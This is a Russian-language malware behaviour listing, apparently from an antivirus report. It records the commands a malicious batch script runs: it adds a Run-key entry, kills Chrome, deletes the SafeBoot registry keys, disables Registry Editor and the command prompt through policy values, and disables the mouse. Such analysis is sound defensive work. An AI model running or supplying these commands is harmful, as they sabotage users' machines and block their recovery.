Техническая информация
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] '' = ''
- Редактора реестра (RegEdit)
- '<SYSTEM32>\taskkill.exe' /im /f chrome.exe
- %TEMP%\8a21.tmp\8a22.tmp\8a23.bat
- %WINDIR%\win32.bat
- nul
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\8A21.tmp\8A22.tmp\8A23.bat <Полный путь к файлу>"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\8A21.tmp\8A22.tmp\8A23.bat <Полный путь к файлу>"
- '<SYSTEM32>\reg.exe' add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v
- '<SYSTEM32>\reg.exe' Delete HKLM\System\CurrentControlSet\Control\SafeBoot\*.* /q
- '<SYSTEM32>\reg.exe' Delete HKLM\System\CurrentControlSet\Control\SafeBoot /q
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run
- '<SYSTEM32>\reg.exe' add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD/t REG_DWORD/d 2 /f
- '<SYSTEM32>\reg.exe' add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRestrictRun /v 1 /t REG_DWORD /d %WINDIR%explorer.exe /f
- '<SYSTEM32>\rundll32.exe' mouse,disable